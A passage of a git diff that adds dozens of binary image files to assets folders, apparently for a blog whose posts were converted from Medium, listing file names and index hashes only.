b/assets/eab0e984043/1*A1wbGrbuRIf2smLNOFbgVw.jpeg new file mode 100644 index 0000000000..3837b4a9c7 Binary files /dev/null and b/assets/eab0e984043/1*A1wbGrbuRIf2smLNOFbgVw.jpeg differ diff --git a/assets/eab0e984043/1*BiF37jARMzzacX3BkmM2GA.jpeg b/assets/eab0e984043/1*BiF37jARMzzacX3BkmM2GA.jpeg new file mode 100644 index 0000000000..12197f81d0 Binary files /dev/null and b/assets/eab0e984043/1*BiF37jARMzzacX3BkmM2GA.jpeg differ diff --git a/assets/eab0e984043/1*G3Xz6ldbWMH2dSXUUq3YbQ.jpeg b/assets/eab0e984043/1*G3Xz6ldbWMH2dSXUUq3YbQ.jpeg new file mode 100644 index 0000000000..77d927f98b Binary files /dev/null and b/assets/eab0e984043/1*G3Xz6ldbWMH2dSXUUq3YbQ.jpeg differ diff --git a/assets/eab0e984043/1*IwkrL1jkpLxLM0niCexO5w.jpeg b/assets/eab0e984043/1*IwkrL1jkpLxLM0niCexO5w.jpeg new file mode 100644 index 0000000000..56e8c30ead Binary files /dev/null and b/assets/eab0e984043/1*IwkrL1jkpLxLM0niCexO5w.jpeg differ diff --git a/assets/eab0e984043/1*L1WWsE9Wos2J80cMI3D_ow.png b/assets/eab0e984043/1*L1WWsE9Wos2J80cMI3D_ow.png new file mode 100644 index 0000000000..6327e68cbe Binary files /dev/null and b/assets/eab0e984043/1*L1WWsE9Wos2J80cMI3D_ow.png differ diff --git a/assets/eab0e984043/1*_MqU1EPSzArqKUI_Gr5Ttg.jpeg b/assets/eab0e984043/1*_MqU1EPSzArqKUI_Gr5Ttg.jpeg new file mode 100644 index 0000000000..209e53644f Binary files /dev/null and b/assets/eab0e984043/1*_MqU1EPSzArqKUI_Gr5Ttg.jpeg differ diff --git a/assets/eab0e984043/1*eUQdY4mAieGJ2Dunx1kZ0g.jpeg b/assets/eab0e984043/1*eUQdY4mAieGJ2Dunx1kZ0g.jpeg new file mode 100644 index 0000000000..8a46a6d251 Binary files /dev/null and b/assets/eab0e984043/1*eUQdY4mAieGJ2Dunx1kZ0g.jpeg differ diff --git a/assets/eab0e984043/1*g4nEVcKUt7Wwz3K4CeGQ3Q.jpeg b/assets/eab0e984043/1*g4nEVcKUt7Wwz3K4CeGQ3Q.jpeg new file mode 100644 index 0000000000..7eff6b30ff Binary files /dev/null and b/assets/eab0e984043/1*g4nEVcKUt7Wwz3K4CeGQ3Q.jpeg differ diff --git a/assets/eab0e984043/1*gyL7eSDOCpsaY20IzI-fmA.png b/assets/eab0e984043/1*gyL7eSDOCpsaY20IzI-fmA.png new file mode 100644 index 0000000000..124e52a87d Binary files /dev/null and b/assets/eab0e984043/1*gyL7eSDOCpsaY20IzI-fmA.png differ diff --git a/assets/eab0e984043/1*jeBcjfEBk_fzOkf6NQzSFA.jpeg b/assets/eab0e984043/1*jeBcjfEBk_fzOkf6NQzSFA.jpeg new file mode 100644 index 0000000000..d6bcb4961b Binary files /dev/null and b/assets/eab0e984043/1*jeBcjfEBk_fzOkf6NQzSFA.jpeg differ diff --git a/assets/eab0e984043/1*kxIs3i4j2frhC5dV_YQXdw.jpeg b/assets/eab0e984043/1*kxIs3i4j2frhC5dV_YQXdw.jpeg new file mode 100644 index 0000000000..62f824e6b7 Binary files /dev/null and b/assets/eab0e984043/1*kxIs3i4j2frhC5dV_YQXdw.jpeg differ diff --git a/assets/eab0e984043/1*mAGXLi2ant1ycZAjJxkdUQ.jpeg b/assets/eab0e984043/1*mAGXLi2ant1ycZAjJxkdUQ.jpeg new file mode 100644 index 0000000000..4c6009e9b4 Binary files /dev/null and b/assets/eab0e984043/1*mAGXLi2ant1ycZAjJxkdUQ.jpeg differ diff --git a/assets/eab0e984043/1*oR7D0hcLOnih9qQbwE-iSA.jpeg b/assets/eab0e984043/1*oR7D0hcLOnih9qQbwE-iSA.jpeg new file mode 100644 index 0000000000..28e61fd343 Binary files /dev/null and b/assets/eab0e984043/1*oR7D0hcLOnih9qQbwE-iSA.jpeg differ diff --git a/assets/eab0e984043/1*qB9bFtHAvsgeuT0sRIwpOg.png b/assets/eab0e984043/1*qB9bFtHAvsgeuT0sRIwpOg.png new file mode 100644 index 0000000000..5d7f307f30 Binary files /dev/null and b/assets/eab0e984043/1*qB9bFtHAvsgeuT0sRIwpOg.png differ diff --git a/assets/eab0e984043/1*tYgmD1OzlgnAS9nuQk-nIg.jpeg b/assets/eab0e984043/1*tYgmD1OzlgnAS9nuQk-nIg.jpeg new file mode 100644 index 0000000000..10ca45a759 Binary files /dev/null and b/assets/eab0e984043/1*tYgmD1OzlgnAS9nuQk-nIg.jpeg differ diff --git a/assets/eab0e984043/1*tw5rcZbEpBxKRuR862Tehw.jpeg b/assets/eab0e984043/1*tw5rcZbEpBxKRuR862Tehw.jpeg new file mode 100644 index 0000000000..684e85af67 Binary files /dev/null and b/assets/eab0e984043/1*tw5rcZbEpBxKRuR862Tehw.jpeg differ diff --git a/assets/eab0e984043/1*uVSuIOZpbQxpP154rw9Mug.jpeg b/assets/eab0e984043/1*uVSuIOZpbQxpP154rw9Mug.jpeg new file mode 100644 index 0000000000..11110fc1eb Binary files /dev/null and b/assets/eab0e984043/1*uVSuIOZpbQxpP154rw9Mug.jpeg differ diff --git a/assets/eab0e984043/1*vSQpbnXNtR_OoC6-ygp0sw.jpeg b/assets/eab0e984043/1*vSQpbnXNtR_OoC6-ygp0sw.jpeg new file mode 100644 index 0000000000..4121f64e1a Binary files /dev/null and b/assets/eab0e984043/1*vSQpbnXNtR_OoC6-ygp0sw.jpeg differ diff --git a/assets/eab0e984043/1*w6hqaHCPrS8zqKh5QU-nVg.jpeg b/assets/eab0e984043/1*w6hqaHCPrS8zqKh5QU-nVg.jpeg new file mode 100644 index 0000000000..3fe0a4042b Binary files /dev/null and b/assets/eab0e984043/1*w6hqaHCPrS8zqKh5QU-nVg.jpeg differ diff --git a/assets/f1365e51902c/0*iMQRza9LN3ljy2k1.png b/assets/f1365e51902c/0*iMQRza9LN3ljy2k1.png new file mode 100644 index 0000000000..0bd128ba25 Binary files /dev/null and b/assets/f1365e51902c/0*iMQRza9LN3ljy2k1.png differ diff --git a/assets/f1365e51902c/1*0NimMOcIqQ95nzjBBKYe8A.png b/assets/f1365e51902c/1*0NimMOcIqQ95nzjBBKYe8A.png new file mode 100644 index 0000000000..febd953044 Binary files /dev/null and b/assets/f1365e51902c/1*0NimMOcIqQ95nzjBBKYe8A.png differ diff --git a/assets/f1365e51902c/1*Bt8ddt7GrZs1ERaFamftVw.png b/assets/f1365e51902c/1*Bt8ddt7GrZs1ERaFamftVw.png new file mode 100644 index 0000000000..ded9f906b8 Binary files /dev/null and b/assets/f1365e51902c/1*Bt8ddt7GrZs1ERaFamftVw.png differ diff --git a/assets/f1365e51902c/1*KDv2ra17oSp5UXKy-VZA1g.png b/assets/f1365e51902c/1*KDv2ra17oSp5UXKy-VZA1g.png new file mode 100644 index 0000000000..10e44f9042 Binary files /dev/null and b/assets/f1365e51902c/1*KDv2ra17oSp5UXKy-VZA1g.png differ diff --git a/assets/f1365e51902c/1*hHJ66r9BgJQsGnRYqbB_8g.png b/assets/f1365e51902c/1*hHJ66r9BgJQsGnRYqbB_8g.png new file mode 100644 index 0000000000..db7a7f3aa1 Binary files /dev/null and b/assets/f1365e51902c/1*hHJ66r9BgJQsGnRYqbB_8g.png differ diff --git a/assets/f1365e51902c/1*igukM7FTLxaX2hpVtFPMjQ.png b/assets/f1365e51902c/1*igukM7FTLxaX2hpVtFPMjQ.png new file mode 100644 index 0000000000..953f541802 Binary files /dev/null and b/assets/f1365e51902c/1*igukM7FTLxaX2hpVtFPMjQ.png differ diff --git a/assets/f1365e51902c/1*wWIpy8Y5G2F0A2FvQzp0hQ.png b/assets/f1365e51902c/1*wWIpy8Y5G2F0A2FvQzp0hQ.png new file mode 100644 index 0000000000..2780748cf4 Binary files /dev/null and b/assets/f1365e51902c/1*wWIpy8Y5G2F0A2FvQzp0hQ.png differ diff --git a/assets/f1365e51902c/1*yU4J85S6Q_e8c9NPYE8bNw.png b/assets/f1365e51902c/1*yU4J85S6Q_e8c9NPYE8bNw.png new file mode 100644 index 0000000000..5b32c4dcfb Binary files /dev/null and b/assets/f1365e51902c/1*yU4J85S6Q_e8c9NPYE8bNw.png differ diff --git a/assets/f4b02ee342a4/1*29n1VSQhXFc4qUZ50IULIw.png b/assets/f4b02ee342a4/1*29n1VSQhXFc4qUZ50IULIw.png new file mode 100644 index 0000000000..ee0a8cbbd4 Binary files /dev/null and b/assets/f4b02ee342a4/1*29n1VSQhXFc4qUZ50IULIw.png differ diff --git a/assets/f4b02ee342a4/1*C0nmAQ9UzwMQ0vnAr8p2Ag.png b/assets/f4b02ee342a4/1*C0nmAQ9UzwMQ0vnAr8p2Ag.png new file mode 100644 index 0000000000..05cea241da Binary files /dev/null and b/assets/f4b02ee342a4/1*C0nmAQ9UzwMQ0vnAr8p2Ag.png differ diff --git a/assets/f4b02ee342a4/1*NvnrtRMn05Wo45QeQ221LA.png b/assets/f4b02ee342a4/1*NvnrtRMn05Wo45QeQ221LA.png new file mode 100644 index 0000000000..5a0890f769 Binary files /dev/null and b/assets/f4b02ee342a4/1*NvnrtRMn05Wo45QeQ221LA.png differ diff --git a/assets/f4b02ee342a4/1*RLA13rSVDIG9cV3CsWtS3g.png b/assets/f4b02ee342a4/1*RLA13rSVDIG9cV3CsWtS3g.png new file mode 100644 index 0000000000..2e99923061 Binary files /dev/null and b/assets/f4b02ee342a4/1*RLA13rSVDIG9cV3CsWtS3g.png differ diff --git a/assets/f4b02ee342a4/1*RiMbrBGdFG6INBRCcE_WZw.png b/assets/f4b02ee342a4/1*RiMbrBGdFG6INBRCcE_WZw.png new file mode 100644 index 0000000000..12c7772c0a Binary files /dev/null and b/assets/f4b02ee342a4/1*RiMbrBGdFG6INBRCcE_WZw.png differ diff --git a/assets/f4b02ee342a4/1*UWT-2lfzUyS7CARahfEN-A.png b/assets/f4b02ee342a4/1*UWT-2lfzUyS7CARahfEN-A.png new file mode 100644 index 0000000000..bfe36be351 Binary files /dev/null and b/assets/f4b02ee342a4/1*UWT-2lfzUyS7CARahfEN-A.png differ diff --git a/assets/f4b02ee342a4/1*VgMVoIWfkuCPLn584Qv-xg.png b/assets/f4b02ee342a4/1*VgMVoIWfkuCPLn584Qv-xg.png new file mode 100644 index 0000000000..772fa1136d Binary files /dev/null and b/assets/f4b02ee342a4/1*VgMVoIWfkuCPLn584Qv-xg.png differ diff --git a/assets/f4b02ee342a4/1*ZKpTThUiS8ZkV3jbpmWylw.png b/assets/f4b02ee342a4/1*ZKpTThUiS8ZkV3jbpmWylw.png new file mode 100644 index 0000000000..ac1cd6924f Binary files /dev/null and b/assets/f4b02ee342a4/1*ZKpTThUiS8ZkV3jbpmWylw.png differ diff --git a/assets/f4b02ee342a4/1*gs1hW3YcAkpTgvzzz0lMkQ.png b/assets/f4b02ee342a4/1*gs1hW3YcAkpTgvzzz0lMkQ.png new file mode 100644 index 0000000000..ed80bff1ab Binary files /dev/null and b/assets/f4b02ee342a4/1*gs1hW3YcAkpTgvzzz0lMkQ.png differ diff --git a/assets/f4b02ee342a4/1*nD3Dc6Gxksr6vS6t2TXH-A.png b/assets/f4b02ee342a4/1*nD3Dc6Gxksr6vS6t2TXH-A.png new file mode 100644 index 0000000000..a9f2e62ce9 Binary files /dev/null and b/assets/f4b02ee342a4/1*nD3Dc6Gxksr6vS6t2TXH-A.png differ diff --git a/assets/f4b02ee342a4/1*pwh6uN0WQNWPa8zmSSyMXA.jpeg b/assets/f4b02ee342a4/1*pwh6uN0WQNWPa8zmSSyMXA.jpeg new file mode 100644 index 0000000000..b57d968d86 Binary files /dev/null and b/assets/f4b02ee342a4/1*pwh6uN0WQNWPa8zmSSyMXA.jpeg differ diff --git a/assets/f644db1bb8bf/1*BAdVMElIjgg34meOSdHhOw.gif b/assets/f644db1bb8bf/1*BAdVMElIjgg34meOSdHhOw.gif new file mode 100644 index 0000000000..794b0e5206 Binary files /dev/null and b/assets/f644db1bb8bf/1*BAdVMElIjgg34meOSdHhOw.gif differ diff --git a/assets/f644db1bb8bf/1*DEOMdPwDxyHca-GnYr8HIQ.jpeg b/assets/f644db1bb8bf/1*DEOMdPwDxyHca-GnYr8HIQ.jpeg new file mode 100644 index 0000000000..3b979b65c1 Binary files /dev/null and b/assets/f644db1bb8bf/1*DEOMdPwDxyHca-GnYr8HIQ.jpeg differ diff --git a/assets/f644db1bb8bf/1*KMKbYQU3nPfF9XpMS5NbPQ.gif b/assets/f644db1bb8bf/1*KMKbYQU3nPfF9XpMS5NbPQ.gif new file mode 100644 index 0000000000..d8540b3f60 Binary files /dev/null and b/assets/f644db1bb8bf/1*KMKbYQU3nPfF9XpMS5NbPQ.gif differ diff --git a/assets/f644db1bb8bf/1*_xztNYANTU6ilOXY_qKOKA.png b/assets/f644db1bb8bf/1*_xztNYANTU6ilOXY_qKOKA.png new file mode 100644 index 0000000000..117642bc03 Binary files /dev/null and b/assets/f644db1bb8bf/1*_xztNYANTU6ilOXY_qKOKA.png differ diff --git a/assets/f644db1bb8bf/1*ju98WxxFonEimTx2tEFO3Q.jpeg b/assets/f644db1bb8bf/1*ju98WxxFonEimTx2tEFO3Q.jpeg new file mode 100644 index 0000000000..b64e13cdac Binary files /dev/null and b/assets/f644db1bb8bf/1*ju98WxxFonEimTx2tEFO3Q.jpeg differ diff --git a/assets/f6713ba3fee3/0*F8SGw5p1RtWaIea5.png b/assets/f6713ba3fee3/0*F8SGw5p1RtWaIea5.png new file mode 100644 index 0000000000..d1a2255705 Binary files /dev/null and b/assets/f6713ba3fee3/0*F8SGw5p1RtWaIea5.png differ diff --git a/assets/f6713ba3fee3/0*jIQHxmmy3ziOHXR7.png b/assets/f6713ba3fee3/0*jIQHxmmy3ziOHXR7.png new file mode 100644 index 0000000000..bc23ef6831 Binary files /dev/null and b/assets/f6713ba3fee3/0*jIQHxmmy3ziOHXR7.png differ diff --git a/assets/f6713ba3fee3/0*lP6NI_yUYntq7pIy.png b/assets/f6713ba3fee3/0*lP6NI_yUYntq7pIy.png new file mode 100644 index 0000000000..4e5634827e Binary files /dev/null and b/assets/f6713ba3fee3/0*lP6NI_yUYntq7pIy.png differ diff --git a/assets/f6713ba3fee3/0*psr2krTcvVZxkxYp.png b/assets/f6713ba3fee3/0*psr2krTcvVZxkxYp.png new file mode 100644 index 0000000000..48d821503d Binary files /dev/null and b/assets/f6713ba3fee3/0*psr2krTcvVZxkxYp.png differ diff --git a/assets/f6713ba3fee3/1*-xYCGpKIBztRd4jvxFnrUg.png b/assets/f6713ba3fee3/1*-xYCGpKIBztRd4jvxFnrUg.png new file mode 100644 index 0000000000..5abea10e8b Binary files /dev/null and b/assets/f6713ba3fee3/1*-xYCGpKIBztRd4jvxFnrUg.png differ diff --git a/assets/f6713ba3fee3/1*0DfewvWMWZ_bEC7beOPmLQ.png b/assets/f6713ba3fee3/1*0DfewvWMWZ_bEC7beOPmLQ.png new file mode 100644 index 0000000000..f6125454a0 Binary files /dev/null and b/assets/f6713ba3fee3/1*0DfewvWMWZ_bEC7beOPmLQ.png differ diff --git a/assets/f6713ba3fee3/1*0h1-vgwjvuYBkQ0QTNeDRQ.png b/assets/f6713ba3fee3/1*0h1-vgwjvuYBkQ0QTNeDRQ.png new file mode 100644 index 0000000000..48e9f3f4e4 Binary files /dev/null and b/assets/f6713ba3fee3/1*0h1-vgwjvuYBkQ0QTNeDRQ.png differ diff --git a/assets/f6713ba3fee3/1*0qsoN6CIATn9dU588pOrBw.png b/assets/f6713ba3fee3/1*0qsoN6CIATn9dU588pOrBw.png new file mode 100644 index 0000000000..18b5bb5c37 Binary files /dev/null and b/assets/f6713ba3fee3/1*0qsoN6CIATn9dU588pOrBw.png differ diff --git a/assets/f6713ba3fee3/1*2HFKnh4QeQ4iTlEJRSNbYw.png b/assets/f6713ba3fee3/1*2HFKnh4QeQ4iTlEJRSNbYw.png new file mode 100644 index 0000000000..3204840e3e Binary files /dev/null and b/assets/f6713ba3fee3/1*2HFKnh4QeQ4iTlEJRSNbYw.png differ diff --git a/assets/f6713ba3fee3/1*3y5A1ogNe9cpG_ObZt1_FA.png b/assets/f6713ba3fee3/1*3y5A1ogNe9cpG_ObZt1_FA.png new file mode 100644 index 0000000000..bc588bc86d Binary files /dev/null and b/assets/f6713ba3fee3/1*3y5A1ogNe9cpG_ObZt1_FA.png differ diff --git a/assets/f6713ba3fee3/1*6xAMrwENoxD0c7Hv1_RTTw.png b/assets/f6713ba3fee3/1*6xAMrwENoxD0c7Hv1_RTTw.png new file mode 100644 index 0000000000..8a62f388b0 Binary files /dev/null and b/assets/f6713ba3fee3/1*6xAMrwENoxD0c7Hv1_RTTw.png differ diff --git a/assets/f6713ba3fee3/1*8SRT_wSe2aQGzcqpRt2Qjw.png b/assets/f6713ba3fee3/1*8SRT_wSe2aQGzcqpRt2Qjw.png new file mode 100644 index 0000000000..7dbe7c90b1 Binary files /dev/null and b/assets/f6713ba3fee3/1*8SRT_wSe2aQGzcqpRt2Qjw.png differ diff --git a/assets/f6713ba3fee3/1*B8Zs8QyRv4KxQZJEBi81lA.png b/assets/f6713ba3fee3/1*B8Zs8QyRv4KxQZJEBi81lA.png new file mode 100644 index 0000000000..175247850a Binary files /dev/null and b/assets/f6713ba3fee3/1*B8Zs8QyRv4KxQZJEBi81lA.png differ diff --git a/assets/f6713ba3fee3/1*Ea_7NeyuRAfcHCGBvKAYhw.png b/assets/f6713ba3fee3/1*Ea_7NeyuRAfcHCGBvKAYhw.png new file mode 100644 index 0000000000..6596849daf Binary files /dev/null and b/assets/f6713ba3fee3/1*Ea_7NeyuRAfcHCGBvKAYhw.png differ diff --git a/assets/f6713ba3fee3/1*G1ig9iHOyRckIf7gOMYd7Q.png b/assets/f6713ba3fee3/1*G1ig9iHOyRckIf7gOMYd7Q.png new file mode 100644 index 0000000000..b945433ccb Binary files /dev/null and b/assets/f6713ba3fee3/1*G1ig9iHOyRckIf7gOMYd7Q.png differ diff --git a/assets/f6713ba3fee3/1*JQyQCdn-FAtItaJ2qrLnng.png b/assets/f6713ba3fee3/1*JQyQCdn-FAtItaJ2qrLnng.png new file mode 100644 index 0000000000..d1b6b6cd23 Binary files /dev/null and b/assets/f6713ba3fee3/1*JQyQCdn-FAtItaJ2qrLnng.png differ diff --git a/assets/f6713ba3fee3/1*M333knrSQqSxD1hCBcqU4A.png b/assets/f6713ba3fee3/1*M333knrSQqSxD1hCBcqU4A.png new file mode 100644 index 0000000000..2900c05ff8 Binary files /dev/null and b/assets/f6713ba3fee3/1*M333knrSQqSxD1hCBcqU4A.png differ diff --git a/assets/f6713ba3fee3/1*NIFgOdZ2EIv-FCfYOxCmsA.png b/assets/f6713ba3fee3/1*NIFgOdZ2EIv-FCfYOxCmsA.png new file mode 100644 index 0000000000..dbead7f789 Binary files /dev/null and b/assets/f6713ba3fee3/1*NIFgOdZ2EIv-FCfYOxCmsA.png differ diff --git a/assets/f6713ba3fee3/1*PKO-daNhyquINvk-_LfgQQ.png b/assets/f6713ba3fee3/1*PKO-daNhyquINvk-_LfgQQ.png new file mode 100644 index 0000000000..a9ae44d416 Binary files /dev/null and b/assets/f6713ba3fee3/1*PKO-daNhyquINvk-_LfgQQ.png differ diff --git a/assets/f6713ba3fee3/1*SPBAPOufdTwde3F2_zOvVA.png b/assets/f6713ba3fee3/1*SPBAPOufdTwde3F2_zOvVA.png new file mode 100644 index 0000000000..e5be92bf67 Binary files /dev/null and b/assets/f6713ba3fee3/1*SPBAPOufdTwde3F2_zOvVA.png differ diff --git a/assets/f6713ba3fee3/1*SghEZm_MdxKO_lD8siKLJg.png b/assets/f6713ba3fee3/1*SghEZm_MdxKO_lD8siKLJg.png new file mode 100644 index 0000000000..ab43f36e35 Binary files /dev/null and b/assets/f6713ba3fee3/1*SghEZm_MdxKO_lD8siKLJg.png differ diff --git a/assets/f6713ba3fee3/1*TqsqHeccSt8-qN4Tav0kwg.png b/assets/f6713ba3fee3/1*TqsqHeccSt8-qN4Tav0kwg.png new file mode 100644 index 0000000000..f849048ceb Binary files /dev/null and b/assets/f6713ba3fee3/1*TqsqHeccSt8-qN4Tav0kwg.png differ diff --git a/assets/f6713ba3fee3/1*U6bzH6b5-PRxFBktvkOa2Q.png b/assets/f6713ba3fee3/1*U6bzH6b5-PRxFBktvkOa2Q.png new file mode 100644 index 0000000000..aa6addeee1 Binary files /dev/null and b/assets/f6713ba3fee3/1*U6bzH6b5-PRxFBktvkOa2Q.png differ diff --git a/assets/f6713ba3fee3/1*UArMZH6b0LPKj8_HTFrX9g.png b/assets/f6713ba3fee3/1*UArMZH6b0LPKj8_HTFrX9g.png new file mode 100644 index 0000000000..172acbb092 Binary files /dev/null and b/assets/f6713ba3fee3/1*UArMZH6b0LPKj8_HTFrX9g.png differ diff --git a/assets/f6713ba3fee3/1*XPmKwym8wmI3D2-cb2gs6w.png b/assets/f6713ba3fee3/1*XPmKwym8wmI3D2-cb2gs6w.png new file mode 100644 index 0000000000..ef4b7d4386 Binary files /dev/null and b/assets/f6713ba3fee3/1*XPmKwym8wmI3D2-cb2gs6w.png differ diff --git a/assets/f6713ba3fee3/1*bXngqmgXbTVeQ9r7rjQAbQ.png b/assets/f6713ba3fee3/1*bXngqmgXbTVeQ9r7rjQAbQ.png new file mode 100644 index 0000000000..317e2c2544 Binary files /dev/null and b/assets/f6713ba3fee3/1*bXngqmgXbTVeQ9r7rjQAbQ.png differ diff --git a/assets/f6713ba3fee3/1*c3QsffDXeLBakupNbAClrw.png b/assets/f6713ba3fee3/1*c3QsffDXeLBakupNbAClrw.png new file mode 100644 index 0000000000..3d85712c01 Binary files /dev/null and b/assets/f6713ba3fee3/1*c3QsffDXeLBakupNbAClrw.png differ diff --git a/assets/f6713ba3fee3/1*dVpsg748XbWwfomuT1VcWQ.png b/assets/f6713ba3fee3/1*dVpsg748XbWwfomuT1VcWQ.png new file mode 100644 index 0000000000..475431b1e3 Binary files /dev/null and b/assets/f6713ba3fee3/1*dVpsg748XbWwfomuT1VcWQ.png differ diff --git a/assets/f6713ba3fee3/1*fKO7pJzsyjdUWwhyJr3czg.png b/assets/f6713ba3fee3/1*fKO7pJzsyjdUWwhyJr3czg.png new file mode 100644 index 0000000000..ecc081c668 Binary files /dev/null and b/assets/f6713ba3fee3/1*fKO7pJzsyjdUWwhyJr3czg.png differ diff --git a/assets/f6713ba3fee3/1*gIQHWeCPuuxHGZUyvBomNA.png b/assets/f6713ba3fee3/1*gIQHWeCPuuxHGZUyvBomNA.png new file mode 100644 index 0000000000..f689ff50cb Binary files /dev/null and b/assets/f6713ba3fee3/1*gIQHWeCPuuxHGZUyvBomNA.png differ diff --git a/assets/f6713ba3fee3/1*io3ugHFQfsEyCxIs0WTZ_w.png b/assets/f6713ba3fee3/1*io3ugHFQfsEyCxIs0WTZ_w.png new file mode 100644 index 0000000000..8d09684676 Binary files /dev/null and b/assets/f6713ba3fee3/1*io3ugHFQfsEyCxIs0WTZ_w.png differ diff --git a/assets/f6713ba3fee3/1*jZmdNWSYQUq6Ja9PKaawWw.jpeg b/assets/f6713ba3fee3/1*jZmdNWSYQUq6Ja9PKaawWw.jpeg new file mode 100644 index 0000000000..8255df50b1 Binary files /dev/null and b/assets/f6713ba3fee3/1*jZmdNWSYQUq6Ja9PKaawWw.jpeg differ diff --git a/assets/f6713ba3fee3/1*jwkk0ZqsFN6QyjPLT_gmaw.png b/assets/f6713ba3fee3/1*jwkk0ZqsFN6QyjPLT_gmaw.png new file mode 100644 index 0000000000..cc218bc2ed Binary files /dev/null and b/assets/f6713ba3fee3/1*jwkk0ZqsFN6QyjPLT_gmaw.png differ diff --git a/assets/f6713ba3fee3/1*lh87YD-SL6VDf5pcLlB_WQ.png b/assets/f6713ba3fee3/1*lh87YD-SL6VDf5pcLlB_WQ.png new file mode 100644 index 0000000000..8d59adf689 Binary files /dev/null and b/assets/f6713ba3fee3/1*lh87YD-SL6VDf5pcLlB_WQ.png differ diff --git a/assets/f6713ba3fee3/1*mLuy6AHDRTkUU1dJZpUEBg.png b/assets/f6713ba3fee3/1*mLuy6AHDRTkUU1dJZpUEBg.png new file mode 100644 index 0000000000..e8c98a9ab5 Binary files /dev/null and b/assets/f6713ba3fee3/1*mLuy6AHDRTkUU1dJZpUEBg.png differ diff --git a/assets/f6713ba3fee3/1*pP1fRjkpKNBjZJ9Hnvy4XQ.png b/assets/f6713ba3fee3/1*pP1fRjkpKNBjZJ9Hnvy4XQ.png new file mode 100644 index 0000000000..354e131dd7 Binary files /dev/null and b/assets/f6713ba3fee3/1*pP1fRjkpKNBjZJ9Hnvy4XQ.png differ diff --git a/assets/f6713ba3fee3/1*pZqC3U4WeTFGrq80TMWmRA.png b/assets/f6713ba3fee3/1*pZqC3U4WeTFGrq80TMWmRA.png new file mode 100644 index 0000000000..84ea58ddca Binary files /dev/null and b/assets/f6713ba3fee3/1*pZqC3U4WeTFGrq80TMWmRA.png differ diff --git a/assets/f6713ba3fee3/1*pqn5ljYggb1lVWgYDSq6Sw.png b/assets/f6713ba3fee3/1*pqn5ljYggb1lVWgYDSq6Sw.png new file mode 100644 index 0000000000..f16bf758d7 Binary files /dev/null and b/assets/f6713ba3fee3/1*pqn5ljYggb1lVWgYDSq6Sw.png differ diff --git a/assets/f6713ba3fee3/1*qqQm-XAKgiGyYClX_Z0CaA.png b/assets/f6713ba3fee3/1*qqQm-XAKgiGyYClX_Z0CaA.png new file mode 100644 index 0000000000..d3dc734bb5 Binary files /dev/null and b/assets/f6713ba3fee3/1*qqQm-XAKgiGyYClX_Z0CaA.png differ diff --git a/assets/f6713ba3fee3/1*r0Tw8C30kGUn-YXfOssBtA.png b/assets/f6713ba3fee3/1*r0Tw8C30kGUn-YXfOssBtA.png new file mode 100644 index 0000000000..e0f410cfae Binary files /dev/null and b/assets/f6713ba3fee3/1*r0Tw8C30kGUn-YXfOssBtA.png differ diff --git a/assets/f6713ba3fee3/1*ulyNjWc-imCLKqS4EsorWg.png b/assets/f6713ba3fee3/1*ulyNjWc-imCLKqS4EsorWg.png new file mode 100644 index 0000000000..421cef24fc Binary files /dev/null and b/assets/f6713ba3fee3/1*ulyNjWc-imCLKqS4EsorWg.png differ diff --git a/assets/f6713ba3fee3/1*vnCPiALLTi4CIcYbASQpOg.png b/assets/f6713ba3fee3/1*vnCPiALLTi4CIcYbASQpOg.png new file mode 100644 index 0000000000..e222830322 Binary files /dev/null and b/assets/f6713ba3fee3/1*vnCPiALLTi4CIcYbASQpOg.png differ diff --git a/assets/f6713ba3fee3/1*y8kdOIBp8tvbVmOBOpsVKA.png b/assets/f6713ba3fee3/1*y8kdOIBp8tvbVmOBOpsVKA.png new file mode 100644 index 0000000000..2777f58b9e Binary files /dev/null and b/assets/f6713ba3fee3/1*y8kdOIBp8tvbVmOBOpsVKA.png differ diff --git a/assets/fd7f92d52baa/1*_iVzlJLNQ7f0hO7IWxg1Zg.gif b/assets/fd7f92d52baa/1*_iVzlJLNQ7f0hO7IWxg1Zg.gif new file mode 100644 index 0000000000..10094e266f Binary files /dev/null and b/assets/fd7f92d52baa/1*_iVzlJLNQ7f0hO7IWxg1Zg.gif differ diff --git a/assets/fd7f92d52baa/1*fm_hG0GuT-BhSNTEB3Ht1g.jpeg b/assets/fd7f92d52baa/1*fm_hG0GuT-BhSNTEB3Ht1g.jpeg new file mode 100644 index 0000000000..c6911491ba Binary files /dev/null and b/assets/fd7f92d52baa/1*fm_hG0GuT-BhSNTEB3Ht1g.jpeg differ diff --git a/assets/images/avicii.jpg b/assets/images/avicii.jpg new file mode 100644 index 0000000000..a6ae33a9d7 Binary files /dev/null and b/assets/images/avicii.jpg differ diff --git a/assets/images/bar.jpg b/assets/images/bar.jpg new file mode 100644 index 0000000000..aa27aa05b4 Binary files /dev/null and b/assets/images/bar.jpg differ diff --git a/assets/images/breaking-bad.jpg b/assets/images/breaking-bad.jpg new file mode 100644 index 0000000000..1cbfd78c50 Binary files /dev/null and b/assets/images/breaking-bad.jpg differ diff --git a/assets/images/declaration_for_google_search_result.png b/assets/images/declaration_for_google_search_result.png new file mode 100644 index 0000000000..5ac8a51f3d Binary files /dev/null and b/assets/images/declaration_for_google_search_result.png differ diff --git a/assets/images/followmymedium.png b/assets/images/followmymedium.png new file mode 100644 index 0000000000..575ded8161 Binary files /dev/null and b/assets/images/followmymedium.png differ diff --git a/assets/images/medium-status.png b/assets/images/medium-status.png new file mode 100644 index 0000000000..cee8c67cd7 Binary files /dev/null and b/assets/images/medium-status.png differ diff --git a/assets/images/samghata.jpg b/assets/images/samghata.jpg new file mode 100644 index 0000000000..c1e4be0bd0 Binary files /dev/null and b/assets/images/samghata.jpg differ diff --git a/assets/images/tst.png b/assets/images/tst.png new file mode 100644 index 0000000000..8d86c5329d Binary files /dev/null and b/assets/images/tst.png differ diff --git a/assets/images/zhgchgli.jpg b/assets/images/zhgchgli.jpg new file mode 100644 index 0000000000..1d9a62d68b Binary files /dev/null and b/assets/images/zhgchgli.jpg differ diff --git a/assets/images/zmarkupparser.jpeg b/assets/images/zmarkupparser.jpeg new file mode 100644 index 0000000000..444208f157 Binary files /dev/null and b/assets/images/zmarkupparser.jpeg differ diff --git a/assets/images/zmediumtomarkdown.jpeg b/assets/images/zmediumtomarkdown.jpeg new file mode 100644 index 0000000000..1bf90fcef1 Binary files /dev/null and b/assets/images/zmediumtomarkdown.jpeg differ diff --git a/assets/images/zreviewtender.jpeg b/assets/images/zreviewtender.jpeg new file mode 100644 index 0000000000..65885c6a42 Binary files /dev/null and b/assets/images/zreviewtender.jpeg differ diff --git a/assets/img/favicons/android-chrome-192x192.png 